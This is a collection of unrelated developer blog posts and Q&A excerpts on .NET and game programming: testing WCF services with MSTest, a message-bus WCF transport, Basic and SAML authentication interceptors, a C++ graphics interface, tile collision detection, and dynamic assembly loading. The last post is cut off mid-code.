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  • Solution: Testing Web Services with MSTest on Team Build

    - by Martin Hinshelwood
    Guess what. About 20 minutes after I fixed the build, Allan broke it again! Update: 4th March 2010 – After having huge problems getting this working I read Billy Wang’s post which showed me the light. The problem here is that even though the test passes locally it will not during an Automated Build. When you send your tests to the build server it does not understand that you want to spin up the web site and run tests against that! When you run the test in Visual Studio it spins up the web site anyway, but would you expect your test to pass if you told the website not to spin up? Of course not. So, when you send the code to the build server you need to tell it what to spin up. First, the best way to get the parameters you need is to right click on the method you want to test and select “Create Unit Test”. This will detect wither you are running in IIS or ASP.NET Development Server or None, and create the relevant tags. Figure: Right clicking on “SaveDefaultProjectFile” will produce a context menu with “Create Unit tests…” on it. If you use this option it will AutoDetect most of the Attributes that are required. /// <summary> ///A test for SSW.SQLDeploy.SilverlightUI.Web.Services.IProfileService.SaveDefaultProjectFile ///</summary> // TODO: Ensure that the UrlToTest attribute specifies a URL to an ASP.NET page (for example, // http://.../Default.aspx). This is necessary for the unit test to be executed on the web server, // whether you are testing a page, web service, or a WCF service. [TestMethod()] [HostType("ASP.NET")] [AspNetDevelopmentServerHost("D:\\Workspaces\\SSW\\SSW\\SqlDeploy\\DEV\\Main\\SSW.SQLDeploy.SilverlightUI.Web", "/")] [UrlToTest("http://localhost:3100/")] [DeploymentItem("SSW.SQLDeploy.SilverlightUI.Web.dll")] public void SaveDefaultProjectFileTest() { IProfileService target = new ProfileService(); // TODO: Initialize to an appropriate value string strComputerName = string.Empty; // TODO: Initialize to an appropriate value bool expected = false; // TODO: Initialize to an appropriate value bool actual; actual = target.SaveDefaultProjectFile(strComputerName); Assert.AreEqual(expected, actual); Assert.Inconclusive("Verify the correctness of this test method."); } Figure: Auto created code that shows the attributes required to run correctly in IIS or in this case ASP.NET Development Server If you are a purist and don’t like creating unit tests like this then you just need to add the three attributes manually. HostType – This attribute specified what host to use. Its an extensibility point, so you could write your own. Or you could just use “ASP.NET”. UrlToTest – This specifies the start URL. For most tests it does not matter which page you call, as long as it is a valid page otherwise your test may not run on the server, but may pass anyway. AspNetDevelopmentServerHost – This is a nasty one, it is only used if you are using ASP.NET Development Host and is unnecessary if you are using IIS. This sets the host settings and the first value MUST be the physical path to the root of your web application. OK, so all that was rubbish and I could not get anything working using the MSDN documentation. Google provided very little help until I ran into Billy Wang’s post  and I heard that heavenly music that all developers hear when understanding dawns that what they have been doing up until now is just plain stupid. I am sure that the above will work when I am doing Web Unit Tests, but there is a much easier way when doing web services. You need to add the AspNetDevelopmentServer attribute to your code. This will tell MSTest to spin up an ASP.NET Development server to host the service. Specify the path to the web application you want to use. [AspNetDevelopmentServer("WebApp1", "D:\\Workspaces\\SSW\\SSW\\SqlDeploy\\DEV\\Main\\SSW.SQLDeploy.SilverlightUI.Web")] [DeploymentItem("SSW.SQLDeploy.SilverlightUI.Web.dll")] [TestMethod] public void ProfileService_Integration_SaveDefaultProjectFile_Returns_True() { ProfileServiceClient target = new ProfileServiceClient(); bool isTrue = target.SaveDefaultProjectFile("Mav"); Assert.AreEqual(true, isTrue); } Figure: This AspNetDevelopmentServer will make sure that the specified web application is launched. Now we can run the test and have it pass, but if the dynamically assigned ASP.NET Development server port changes what happens to the details in your app.config that was generated when creating a reference to the web service? Well, it would be wrong and the test would fail. This is where Billy’s helper method comes in. Once you have created an instance of your service call, and it has loaded the config, but before you make any calls to it you need to go in and dynamically set the Endpoint address to the same address as your dynamically hosted Web Application. using System; using System.Collections.Generic; using System.Linq; using System.Text; using Microsoft.VisualStudio.TestTools.UnitTesting; using System.Reflection; using System.ServiceModel.Description; using System.ServiceModel; namespace SSW.SQLDeploy.Test { class WcfWebServiceHelper { public static bool TryUrlRedirection(object client, TestContext context, string identifier) { bool result = true; try { PropertyInfo property = client.GetType().GetProperty("Endpoint"); string webServer = context.Properties[string.Format("AspNetDevelopmentServer.{0}", identifier)].ToString(); Uri webServerUri = new Uri(webServer); ServiceEndpoint endpoint = (ServiceEndpoint)property.GetValue(client, null); EndpointAddressBuilder builder = new EndpointAddressBuilder(endpoint.Address); builder.Uri = new Uri(endpoint.Address.Uri.OriginalString.Replace(endpoint.Address.Uri.Authority, webServerUri.Authority)); endpoint.Address = builder.ToEndpointAddress(); } catch (Exception e) { context.WriteLine(e.Message); result = false; } return result; } } } Figure: This fixes a problem with the URL in your web.config not being the same as the dynamically hosted ASP.NET Development server port. We can now add a call to this method after we created the Proxy object and change the Endpoint for the Service to the correct one. This process is wrapped in an assert as if it fails there is no point in continuing. [AspNetDevelopmentServer("WebApp1", D:\\Workspaces\\SSW\\SSW\\SqlDeploy\\DEV\\Main\\SSW.SQLDeploy.SilverlightUI.Web")] [DeploymentItem("SSW.SQLDeploy.SilverlightUI.Web.dll")] [TestMethod] public void ProfileService_Integration_SaveDefaultProjectFile_Returns_True() { ProfileServiceClient target = new ProfileServiceClient(); Assert.IsTrue(WcfWebServiceHelper.TryUrlRedirection(target, TestContext, "WebApp1")); bool isTrue = target.SaveDefaultProjectFile("Mav"); Assert.AreEqual(true, isTrue); } Figure: Editing the Endpoint from the app.config on the fly to match the dynamically hosted ASP.NET Development Server URL and port is now easy. As you can imagine AspNetDevelopmentServer poses some problems of you have multiple developers. What are the chances of everyone using the same location to store the source? What about if you are using a build server, how do you tell MSTest where to look for the files? To the rescue is a property called" “%PathToWebRoot%” which is always right on the build server. It will always point to your build drop folder for your solutions web sites. Which will be “\\tfs.ssw.com.au\BuildDrop\[BuildName]\Debug\_PrecompiledWeb\” or whatever your build drop location is. So lets change the code above to add this. [AspNetDevelopmentServer("WebApp1", "%PathToWebRoot%\\SSW.SQLDeploy.SilverlightUI.Web")] [DeploymentItem("SSW.SQLDeploy.SilverlightUI.Web.dll")] [TestMethod] public void ProfileService_Integration_SaveDefaultProjectFile_Returns_True() { ProfileServiceClient target = new ProfileServiceClient(); Assert.IsTrue(WcfWebServiceHelper.TryUrlRedirection(target, TestContext, "WebApp1")); bool isTrue = target.SaveDefaultProjectFile("Mav"); Assert.AreEqual(true, isTrue); } Figure: Adding %PathToWebRoot% to the AspNetDevelopmentServer path makes it work everywhere. Now we have another problem… this will ONLY run on the build server and will fail locally as %PathToWebRoot%’s default value is “C:\Users\[profile]\Documents\Visual Studio 2010\Projects”. Well this sucks… How do we get the test to run on any build server and any developer laptop. Open “Tools | Options | Test Tools | Test Execution” in Visual Studio and you will see a field called “Web application root directory”. This is where you override that default above. Figure: You can override the default website location for tests. In my case I would put in “D:\Workspaces\SSW\SSW\SqlDeploy\DEV\Main” and all the developers working with this branch would put in the folder that they have mapped. Can you see a problem? What is I create a “$/SSW/SqlDeploy/DEV/34567” branch from Main and I want to run tests in there. Well… I would have to change the value above. This is not ideal, but as you can put your projects anywhere on a computer, it has to be done. Conclusion Although this looks convoluted and complicated there are real problems being solved here that mean that you have a test ANYWHERE solution. Any build server, any Developer workstation. Resources: http://billwg.blogspot.com/2009/06/testing-wcf-web-services.html http://tough-to-find.blogspot.com/2008/04/testing-asmx-web-services-in-visual.html http://msdn.microsoft.com/en-us/library/ms243399(VS.100).aspx http://blogs.msdn.com/dscruggs/archive/2008/09/29/web-tests-unit-tests-the-asp-net-development-server-and-code-coverage.aspx http://www.5z5.com/News/?543f8bc8b36b174f Technorati Tags: VS2010,MSTest,Team Build 2010,Team Build,Visual Studio,Visual Studio 2010,Visual Studio ALM,Team Test,Team Test 2010

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  • Scaling-out Your Services by Message Bus based WCF Transport Extension &ndash; Part 1 &ndash; Background

    - by Shaun
    Cloud computing gives us more flexibility on the computing resource, we can provision and deploy an application or service with multiple instances over multiple machines. With the increment of the service instances, how to balance the incoming message and workload would become a new challenge. Currently there are two approaches we can use to pass the incoming messages to the service instances, I would like call them dispatcher mode and pulling mode.   Dispatcher Mode The dispatcher mode introduces a role which takes the responsible to find the best service instance to process the request. The image below describes the sharp of this mode. There are four clients communicate with the service through the underlying transportation. For example, if we are using HTTP the clients might be connecting to the same service URL. On the server side there’s a dispatcher listening on this URL and try to retrieve all messages. When a message came in, the dispatcher will find a proper service instance to process it. There are three mechanism to find the instance: Round-robin: Dispatcher will always send the message to the next instance. For example, if the dispatcher sent the message to instance 2, then the next message will be sent to instance 3, regardless if instance 3 is busy or not at that moment. Random: Dispatcher will find a service instance randomly, and same as the round-robin mode it regardless if the instance is busy or not. Sticky: Dispatcher will send all related messages to the same service instance. This approach always being used if the service methods are state-ful or session-ful. But as you can see, all of these approaches are not really load balanced. The clients will send messages at any time, and each message might take different process duration on the server side. This means in some cases, some of the service instances are very busy while others are almost idle. For example, if we were using round-robin mode, it could be happened that most of the simple task messages were passed to instance 1 while the complex ones were sent to instance 3, even though instance 1 should be idle. This brings some problem in our architecture. The first one is that, the response to the clients might be longer than it should be. As it’s shown in the figure above, message 6 and 9 can be processed by instance 1 or instance 2, but in reality they were dispatched to the busy instance 3 since the dispatcher and round-robin mode. Secondly, if there are many requests came from the clients in a very short period, service instances might be filled by tons of pending tasks and some instances might be crashed. Third, if we are using some cloud platform to host our service instances, for example the Windows Azure, the computing resource is billed by service deployment period instead of the actual CPU usage. This means if any service instance is idle it is wasting our money! Last one, the dispatcher would be the bottleneck of our system since all incoming messages must be routed by the dispatcher. If we are using HTTP or TCP as the transport, the dispatcher would be a network load balance. If we wants more capacity, we have to scale-up, or buy a hardware load balance which is very expensive, as well as scaling-out the service instances. Pulling Mode Pulling mode doesn’t need a dispatcher to route the messages. All service instances are listening to the same transport and try to retrieve the next proper message to process if they are idle. Since there is no dispatcher in pulling mode, it requires some features on the transportation. The transportation must support multiple client connection and server listening. HTTP and TCP doesn’t allow multiple clients are listening on the same address and port, so it cannot be used in pulling mode directly. All messages in the transportation must be FIFO, which means the old message must be received before the new one. Message selection would be a plus on the transportation. This means both service and client can specify some selection criteria and just receive some specified kinds of messages. This feature is not mandatory but would be very useful when implementing the request reply and duplex WCF channel modes. Otherwise we must have a memory dictionary to store the reply messages. I will explain more about this in the following articles. Message bus, or the message queue would be best candidate as the transportation when using the pulling mode. First, it allows multiple application to listen on the same queue, and it’s FIFO. Some of the message bus also support the message selection, such as TIBCO EMS, RabbitMQ. Some others provide in memory dictionary which can store the reply messages, for example the Redis. The principle of pulling mode is to let the service instances self-managed. This means each instance will try to retrieve the next pending incoming message if they finished the current task. This gives us more benefit and can solve the problems we met with in the dispatcher mode. The incoming message will be received to the best instance to process, which means this will be very balanced. And it will not happen that some instances are busy while other are idle, since the idle one will retrieve more tasks to make them busy. Since all instances are try their best to be busy we can use less instances than dispatcher mode, which more cost effective. Since there’s no dispatcher in the system, there is no bottleneck. When we introduced more service instances, in dispatcher mode we have to change something to let the dispatcher know the new instances. But in pulling mode since all service instance are self-managed, there no extra change at all. If there are many incoming messages, since the message bus can queue them in the transportation, service instances would not be crashed. All above are the benefits using the pulling mode, but it will introduce some problem as well. The process tracking and debugging become more difficult. Since the service instances are self-managed, we cannot know which instance will process the message. So we need more information to support debug and track. Real-time response may not be supported. All service instances will process the next message after the current one has done, if we have some real-time request this may not be a good solution. Compare with the Pros and Cons above, the pulling mode would a better solution for the distributed system architecture. Because what we need more is the scalability, cost-effect and the self-management.   WCF and WCF Transport Extensibility Windows Communication Foundation (WCF) is a framework for building service-oriented applications. In the .NET world WCF is the best way to implement the service. In this series I’m going to demonstrate how to implement the pulling mode on top of a message bus by extending the WCF. I don’t want to deep into every related field in WCF but will highlight its transport extensibility. When we implemented an RPC foundation there are many aspects we need to deal with, for example the message encoding, encryption, authentication and message sending and receiving. In WCF, each aspect is represented by a channel. A message will be passed through all necessary channels and finally send to the underlying transportation. And on the other side the message will be received from the transport and though the same channels until the business logic. This mode is called “Channel Stack” in WCF, and the last channel in the channel stack must always be a transport channel, which takes the responsible for sending and receiving the messages. As we are going to implement the WCF over message bus and implement the pulling mode scaling-out solution, we need to create our own transport channel so that the client and service can exchange messages over our bus. Before we deep into the transport channel, let’s have a look on the message exchange patterns that WCF defines. Message exchange pattern (MEP) defines how client and service exchange the messages over the transportation. WCF defines 3 basic MEPs which are datagram, Request-Reply and Duplex. Datagram: Also known as one-way, or fire-forgot mode. The message sent from the client to the service, and no need any reply from the service. The client doesn’t care about the message result at all. Request-Reply: Very common used pattern. The client send the request message to the service and wait until the reply message comes from the service. Duplex: The client sent message to the service, when the service processing the message it can callback to the client. When callback the service would be like a client while the client would be like a service. In WCF, each MEP represent some channels associated. MEP Channels Datagram IInputChannel, IOutputChannel Request-Reply IRequestChannel, IReplyChannel Duplex IDuplexChannel And the channels are created by ChannelListener on the server side, and ChannelFactory on the client side. The ChannelListener and ChannelFactory are created by the TransportBindingElement. The TransportBindingElement is created by the Binding, which can be defined as a new binding or from a custom binding. For more information about the transport channel mode, please refer to the MSDN document. The figure below shows the transport channel objects when using the request-reply MEP. And this is the datagram MEP. And this is the duplex MEP. After investigated the WCF transport architecture, channel mode and MEP, we finally identified what we should do to extend our message bus based transport layer. They are: Binding: (Optional) Defines the channel elements in the channel stack and added our transport binding element at the bottom of the stack. But we can use the build-in CustomBinding as well. TransportBindingElement: Defines which MEP is supported in our transport and create the related ChannelListener and ChannelFactory. This also defines the scheme of the endpoint if using this transport. ChannelListener: Create the server side channel based on the MEP it’s. We can have one ChannelListener to create channels for all supported MEPs, or we can have ChannelListener for each MEP. In this series I will use the second approach. ChannelFactory: Create the client side channel based on the MEP it’s. We can have one ChannelFactory to create channels for all supported MEPs, or we can have ChannelFactory for each MEP. In this series I will use the second approach. Channels: Based on the MEPs we want to support, we need to implement the channels accordingly. For example, if we want our transport support Request-Reply mode we should implement IRequestChannel and IReplyChannel. In this series I will implement all 3 MEPs listed above one by one. Scaffold: In order to make our transport extension works we also need to implement some scaffold stuff. For example we need some classes to send and receive message though out message bus. We also need some codes to read and write the WCF message, etc.. These are not necessary but would be very useful in our example.   Message Bus There is only one thing remained before we can begin to implement our scaling-out support WCF transport, which is the message bus. As I mentioned above, the message bus must have some features to fulfill all the WCF MEPs. In my company we will be using TIBCO EMS, which is an enterprise message bus product. And I have said before we can use any message bus production if it’s satisfied with our requests. Here I would like to introduce an interface to separate the message bus from the WCF. This allows us to implement the bus operations by any kinds bus we are going to use. The interface would be like this. 1: public interface IBus : IDisposable 2: { 3: string SendRequest(string message, bool fromClient, string from, string to = null); 4:  5: void SendReply(string message, bool fromClient, string replyTo); 6:  7: BusMessage Receive(bool fromClient, string replyTo); 8: } There are only three methods for the bus interface. Let me explain one by one. The SendRequest method takes the responsible for sending the request message into the bus. The parameters description are: message: The WCF message content. fromClient: Indicates if this message was came from the client. from: The channel ID that this message was sent from. The channel ID will be generated when any kinds of channel was created, which will be explained in the following articles. to: The channel ID that this message should be received. In Request-Reply and Duplex MEP this is necessary since the reply message must be received by the channel which sent the related request message. The SendReply method takes the responsible for sending the reply message. It’s very similar as the previous one but no “from” parameter. This is because it’s no need to reply a reply message again in any MEPs. The Receive method takes the responsible for waiting for a incoming message, includes the request message and specified reply message. It returned a BusMessage object, which contains some information about the channel information. The code of the BusMessage class is 1: public class BusMessage 2: { 3: public string MessageID { get; private set; } 4: public string From { get; private set; } 5: public string ReplyTo { get; private set; } 6: public string Content { get; private set; } 7:  8: public BusMessage(string messageId, string fromChannelId, string replyToChannelId, string content) 9: { 10: MessageID = messageId; 11: From = fromChannelId; 12: ReplyTo = replyToChannelId; 13: Content = content; 14: } 15: } Now let’s implement a message bus based on the IBus interface. Since I don’t want you to buy and install the TIBCO EMS or any other message bus products, I will implement an in process memory bus. This bus is only for test and sample purpose. It can only be used if the service and client are in the same process. Very straightforward. 1: public class InProcMessageBus : IBus 2: { 3: private readonly ConcurrentDictionary<Guid, InProcMessageEntity> _queue; 4: private readonly object _lock; 5:  6: public InProcMessageBus() 7: { 8: _queue = new ConcurrentDictionary<Guid, InProcMessageEntity>(); 9: _lock = new object(); 10: } 11:  12: public string SendRequest(string message, bool fromClient, string from, string to = null) 13: { 14: var entity = new InProcMessageEntity(message, fromClient, from, to); 15: _queue.TryAdd(entity.ID, entity); 16: return entity.ID.ToString(); 17: } 18:  19: public void SendReply(string message, bool fromClient, string replyTo) 20: { 21: var entity = new InProcMessageEntity(message, fromClient, null, replyTo); 22: _queue.TryAdd(entity.ID, entity); 23: } 24:  25: public BusMessage Receive(bool fromClient, string replyTo) 26: { 27: InProcMessageEntity e = null; 28: while (true) 29: { 30: lock (_lock) 31: { 32: var entity = _queue 33: .Where(kvp => kvp.Value.FromClient == fromClient && (kvp.Value.To == replyTo || string.IsNullOrWhiteSpace(kvp.Value.To))) 34: .FirstOrDefault(); 35: if (entity.Key != Guid.Empty && entity.Value != null) 36: { 37: _queue.TryRemove(entity.Key, out e); 38: } 39: } 40: if (e == null) 41: { 42: Thread.Sleep(100); 43: } 44: else 45: { 46: return new BusMessage(e.ID.ToString(), e.From, e.To, e.Content); 47: } 48: } 49: } 50:  51: public void Dispose() 52: { 53: } 54: } The InProcMessageBus stores the messages in the objects of InProcMessageEntity, which can take some extra information beside the WCF message itself. 1: public class InProcMessageEntity 2: { 3: public Guid ID { get; set; } 4: public string Content { get; set; } 5: public bool FromClient { get; set; } 6: public string From { get; set; } 7: public string To { get; set; } 8:  9: public InProcMessageEntity() 10: : this(string.Empty, false, string.Empty, string.Empty) 11: { 12: } 13:  14: public InProcMessageEntity(string content, bool fromClient, string from, string to) 15: { 16: ID = Guid.NewGuid(); 17: Content = content; 18: FromClient = fromClient; 19: From = from; 20: To = to; 21: } 22: }   Summary OK, now I have all necessary stuff ready. The next step would be implementing our WCF message bus transport extension. In this post I described two scaling-out approaches on the service side especially if we are using the cloud platform: dispatcher mode and pulling mode. And I compared the Pros and Cons of them. Then I introduced the WCF channel stack, channel mode and the transport extension part, and identified what we should do to create our own WCF transport extension, to let our WCF services using pulling mode based on a message bus. And finally I provided some classes that need to be used in the future posts that working against an in process memory message bus, for the demonstration purpose only. In the next post I will begin to implement the transport extension step by step.   Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

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  • Authenticating clients in the new WCF Http stack

    - by cibrax
    About this time last year, I wrote a couple of posts about how to use the “Interceptors” from the REST starker kit for implementing several authentication mechanisms like “SAML”, “Basic Authentication” or “OAuth” in the WCF Web programming model. The things have changed a lot since then, and Glenn finally put on our hands a new version of the Web programming model that deserves some attention and I believe will help us a lot to build more Http oriented services in the .NET stack. What you can get today from wcf.codeplex.com is a preview with some cool features like Http Processors (which I already discussed here), a new and improved version of the HttpClient library, Dependency injection and better TDD support among others. However, the framework still does not support an standard way of doing client authentication on the services (This is something planned for the upcoming releases I believe). For that reason, moving the existing authentication interceptors to this new programming model was one of the things I did in the last few days. In order to make authentication simple and easy to extend,  I first came up with a model based on what I called “Authentication Interceptors”. An authentication interceptor maps to an existing Http authentication mechanism and implements the following interface, public interface IAuthenticationInterceptor{ string Scheme { get; } bool DoAuthentication(HttpRequestMessage request, HttpResponseMessage response, out IPrincipal principal);} An authentication interceptors basically needs to returns the http authentication schema that implements in the property “Scheme”, and implements the authentication mechanism in the method “DoAuthentication”. As you can see, this last method “DoAuthentication” only relies on the HttpRequestMessage and HttpResponseMessage classes, making the testing of this interceptor very simple (There is no need to do some black magic with the WCF context or messages). After this, I implemented a couple of interceptors for supporting basic authentication and brokered authentication with SAML (using WIF) in my services. The following code illustrates how the basic authentication interceptors looks like. public class BasicAuthenticationInterceptor : IAuthenticationInterceptor{ Func<UsernameAndPassword, bool> userValidation; string realm;  public BasicAuthenticationInterceptor(Func<UsernameAndPassword, bool> userValidation, string realm) { if (userValidation == null) throw new ArgumentNullException("userValidation");  if (string.IsNullOrEmpty(realm)) throw new ArgumentNullException("realm");  this.userValidation = userValidation; this.realm = realm; }  public string Scheme { get { return "Basic"; } }  public bool DoAuthentication(HttpRequestMessage request, HttpResponseMessage response, out IPrincipal principal) { string[] credentials = ExtractCredentials(request); if (credentials.Length == 0 || !AuthenticateUser(credentials[0], credentials[1])) { response.StatusCode = HttpStatusCode.Unauthorized; response.Content = new StringContent("Access denied"); response.Headers.WwwAuthenticate.Add(new AuthenticationHeaderValue("Basic", "realm=" + this.realm));  principal = null;  return false; } else { principal = new GenericPrincipal(new GenericIdentity(credentials[0]), new string[] {});  return true; } }  private string[] ExtractCredentials(HttpRequestMessage request) { if (request.Headers.Authorization != null && request.Headers.Authorization.Scheme.StartsWith("Basic")) { string encodedUserPass = request.Headers.Authorization.Parameter.Trim();  Encoding encoding = Encoding.GetEncoding("iso-8859-1"); string userPass = encoding.GetString(Convert.FromBase64String(encodedUserPass)); int separator = userPass.IndexOf(':');  string[] credentials = new string[2]; credentials[0] = userPass.Substring(0, separator); credentials[1] = userPass.Substring(separator + 1);  return credentials; }  return new string[] { }; }  private bool AuthenticateUser(string username, string password) { var usernameAndPassword = new UsernameAndPassword { Username = username, Password = password };  if (this.userValidation(usernameAndPassword)) { return true; }  return false; }} This interceptor receives in the constructor a callback in the form of a Func delegate for authenticating the user and the “realm”, which is required as part of the implementation. The rest is a general implementation of the basic authentication mechanism using standard http request and response messages. I also implemented another interceptor for authenticating a SAML token with WIF. public class SamlAuthenticationInterceptor : IAuthenticationInterceptor{ SecurityTokenHandlerCollection handlers = null;  public SamlAuthenticationInterceptor(SecurityTokenHandlerCollection handlers) { if (handlers == null) throw new ArgumentNullException("handlers");  this.handlers = handlers; }  public string Scheme { get { return "saml"; } }  public bool DoAuthentication(HttpRequestMessage request, HttpResponseMessage response, out IPrincipal principal) { SecurityToken token = ExtractCredentials(request);  if (token != null) { ClaimsIdentityCollection claims = handlers.ValidateToken(token);  principal = new ClaimsPrincipal(claims);  return true; } else { response.StatusCode = HttpStatusCode.Unauthorized; response.Content = new StringContent("Access denied");  principal = null;  return false; } }  private SecurityToken ExtractCredentials(HttpRequestMessage request) { if (request.Headers.Authorization != null && request.Headers.Authorization.Scheme == "saml") { XmlTextReader xmlReader = new XmlTextReader(new StringReader(request.Headers.Authorization.Parameter));  var col = SecurityTokenHandlerCollection.CreateDefaultSecurityTokenHandlerCollection(); SecurityToken token = col.ReadToken(xmlReader);  return token; }  return null; }}This implementation receives a “SecurityTokenHandlerCollection” instance as part of the constructor. This class is part of WIF, and basically represents a collection of token managers to know how to handle specific xml authentication tokens (SAML is one of them). I also created a set of extension methods for injecting these interceptors as part of a service route when the service is initialized. var basicAuthentication = new BasicAuthenticationInterceptor((u) => true, "ContactManager");var samlAuthentication = new SamlAuthenticationInterceptor(serviceConfiguration.SecurityTokenHandlers); // use MEF for providing instancesvar catalog = new AssemblyCatalog(typeof(Global).Assembly);var container = new CompositionContainer(catalog);var configuration = new ContactManagerConfiguration(container); RouteTable.Routes.AddServiceRoute<ContactResource>("contact", configuration, basicAuthentication, samlAuthentication);RouteTable.Routes.AddServiceRoute<ContactsResource>("contacts", configuration, basicAuthentication, samlAuthentication); In the code above, I am injecting the basic authentication and saml authentication interceptors in the “contact” and “contacts” resource implementations that come as samples in the code preview. I will use another post to discuss more in detail how the brokered authentication with SAML model works with this new WCF Http bits. The code is available to download in this location.

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  • Graphics module: Am I going the right way?

    - by Paul
    I'm trying to write the graphics module of my engine. That is, this part of the code only provides an interface through which to load images, fonts, etc and draw them on the screen. It is also a wrapper for the library I'm using (SDL in this case). Here are the interfaces for my Image, Font and GraphicsRenderer classes. Please tell me if I'm going the right way. Image class Image { public: Image(); Image(const Image& other); Image(const char* file); ~Image(); bool load(const char* file); void free(); bool isLoaded() const; Image& operator=(const Image& other); private: friend class GraphicsRenderer; void* data_; }; Font class Font { public: Font(); Font(const Font& other); Font(const char* file, int ptsize); ~Font(); void load(const char* file, int ptsize); void free(); bool isLoaded() const; Font& operator=(const Font& other); private: friend class GraphicsRenderer; void* data_; }; GrapphicsRenderer class GraphicsRenderer { public: static GraphicsRenderer* Instance(); void blitImage(const Image& img, int x, int y); void blitText(const char* string, const Font& font, int x, int y); void render(); protected: GraphicsRenderer(); GraphicsRenderer(const GraphicsRenderer& other); GraphicsRenderer& operator=(const GraphicsRenderer& other); ~GraphicsRenderer(); private: void* screen_; bool initialize(); void finalize(); };

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  • Tile-based 2D collision detection problems

    - by Vee
    I'm trying to follow this tutorial http://www.tonypa.pri.ee/tbw/tut05.html to implement real-time collisions in a tile-based world. I find the center coordinates of my entities thanks to these properties: public float CenterX { get { return X + Width / 2f; } set { X = value - Width / 2f; } } public float CenterY { get { return Y + Height / 2f; } set { Y = value - Height / 2f; } } Then in my update method, in the player class, which is called every frame, I have this code: public override void Update() { base.Update(); int downY = (int)Math.Floor((CenterY + Height / 2f - 1) / 16f); int upY = (int)Math.Floor((CenterY - Height / 2f) / 16f); int leftX = (int)Math.Floor((CenterX + Speed * NextX - Width / 2f) / 16f); int rightX = (int)Math.Floor((CenterX + Speed * NextX + Width / 2f - 1) / 16f); bool upleft = Game.CurrentMap[leftX, upY] != 1; bool downleft = Game.CurrentMap[leftX, downY] != 1; bool upright = Game.CurrentMap[rightX, upY] != 1; bool downright = Game.CurrentMap[rightX, downY] != 1; if(NextX == 1) { if (upright && downright) CenterX += Speed; else CenterX = (Game.GetCellX(CenterX) + 1)*16 - Width / 2f; } } downY, upY, leftX and rightX should respectively find the lowest Y position, the highest Y position, the leftmost X position and the rightmost X position. I add + Speed * NextX because in the tutorial the getMyCorners function is called with these parameters: getMyCorners (ob.x+ob.speed*dirx, ob.y, ob); The GetCellX and GetCellY methods: public int GetCellX(float mX) { return (int)Math.Floor(mX / SGame.Camera.TileSize); } public int GetCellY(float mY) { return (int)Math.Floor(mY / SGame.Camera.TileSize); } The problem is that the player "flickers" while hitting a wall, and the corner detection doesn't even work correctly since it can overlap walls that only hit one of the corners. I do not understand what is wrong. In the tutorial the ob.x and ob.y fields should be the same as my CenterX and CenterY properties, and the ob.width and ob.height should be the same as Width / 2f and Height / 2f. However it still doesn't work. Thanks for your help.

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  • Dynamically loading Assemblies to reduce Runtime Depencies

    - by Rick Strahl
    I've been working on a request to the West Wind Application Configuration library to add JSON support. The config library is a very easy to use code-first approach to configuration: You create a class that holds the configuration data that inherits from a base configuration class, and then assign a persistence provider at runtime that determines where and how the configuration data is store. Currently the library supports .NET Configuration stores (web.config/app.config), XML files, SQL records and string storage.About once a week somebody asks me about JSON support and I've deflected this question for the longest time because frankly I think that JSON as a configuration store doesn't really buy a heck of a lot over XML. Both formats require the user to perform some fixup of the plain configuration data - in XML into XML tags, with JSON using JSON delimiters for properties and property formatting rules. Sure JSON is a little less verbose and maybe a little easier to read if you have hierarchical data, but overall the differences are pretty minor in my opinion. And yet - the requests keep rolling in.Hard Link Issues in a Component LibraryAnother reason I've been hesitant is that I really didn't want to pull in a dependency on an external JSON library - in this case JSON.NET - into the core library. If you're not using JSON.NET elsewhere I don't want a user to have to require a hard dependency on JSON.NET unless they want to use the JSON feature. JSON.NET is also sensitive to versions and doesn't play nice with multiple versions when hard linked. For example, when you have a reference to V4.4 in your project but the host application has a reference to version 4.5 you can run into assembly load problems. NuGet's Update-Package can solve some of this *if* you can recompile, but that's not ideal for a component that's supposed to be just plug and play. This is no criticism of JSON.NET - this really applies to any dependency that might change.  So hard linking the DLL can be problematic for a number reasons, but the primary reason is to not force loading of JSON.NET unless you actually need it when you use the JSON configuration features of the library.Enter Dynamic LoadingSo rather than adding an assembly reference to the project, I decided that it would be better to dynamically load the DLL at runtime and then use dynamic typing to access various classes. This allows me to run without a hard assembly reference and allows more flexibility with version number differences now and in the future.But there are also a couple of downsides:No assembly reference means only dynamic access - no compiler type checking or IntellisenseRequirement for the host application to have reference to JSON.NET or else get runtime errorsThe former is minor, but the latter can be problematic. Runtime errors are always painful, but in this case I'm willing to live with this. If you want to use JSON configuration settings JSON.NET needs to be loaded in the project. If this is a Web project, it'll likely be there already.So there are a few things that are needed to make this work:Dynamically create an instance and optionally attempt to load an Assembly (if not loaded)Load types into dynamic variablesUse Reflection for a few tasks like statics/enumsThe dynamic keyword in C# makes the formerly most difficult Reflection part - method calls and property assignments - fairly painless. But as cool as dynamic is it doesn't handle all aspects of Reflection. Specifically it doesn't deal with object activation, truly dynamic (string based) member activation or accessing of non instance members, so there's still a little bit of work left to do with Reflection.Dynamic Object InstantiationThe first step in getting the process rolling is to instantiate the type you need to work with. This might be a two step process - loading the instance from a string value, since we don't have a hard type reference and potentially having to load the assembly. Although the host project might have a reference to JSON.NET, that instance might have not been loaded yet since it hasn't been accessed yet. In ASP.NET this won't be a problem, since ASP.NET preloads all referenced assemblies on AppDomain startup, but in other executable project, assemblies are just in time loaded only when they are accessed.Instantiating a type is a two step process: Finding the type reference and then activating it. Here's the generic code out of my ReflectionUtils library I use for this:/// <summary> /// Creates an instance of a type based on a string. Assumes that the type's /// </summary> /// <param name="typeName">Common name of the type</param> /// <param name="args">Any constructor parameters</param> /// <returns></returns> public static object CreateInstanceFromString(string typeName, params object[] args) { object instance = null; Type type = null; try { type = GetTypeFromName(typeName); if (type == null) return null; instance = Activator.CreateInstance(type, args); } catch { return null; } return instance; } /// <summary> /// Helper routine that looks up a type name and tries to retrieve the /// full type reference in the actively executing assemblies. /// </summary> /// <param name="typeName"></param> /// <returns></returns> public static Type GetTypeFromName(string typeName) { Type type = null; // Let default name binding find it type = Type.GetType(typeName, false); if (type != null) return type; // look through assembly list var assemblies = AppDomain.CurrentDomain.GetAssemblies(); // try to find manually foreach (Assembly asm in assemblies) { type = asm.GetType(typeName, false); if (type != null) break; } return type; } To use this for loading JSON.NET I have a small factory function that instantiates JSON.NET and sets a bunch of configuration settings on the generated object. The startup code also looks for failure and tries loading up the assembly when it fails since that's the main reason the load would fail. Finally it also caches the loaded instance for reuse (according to James the JSON.NET instance is thread safe and quite a bit faster when cached). Here's what the factory function looks like in JsonSerializationUtils:/// <summary> /// Dynamically creates an instance of JSON.NET /// </summary> /// <param 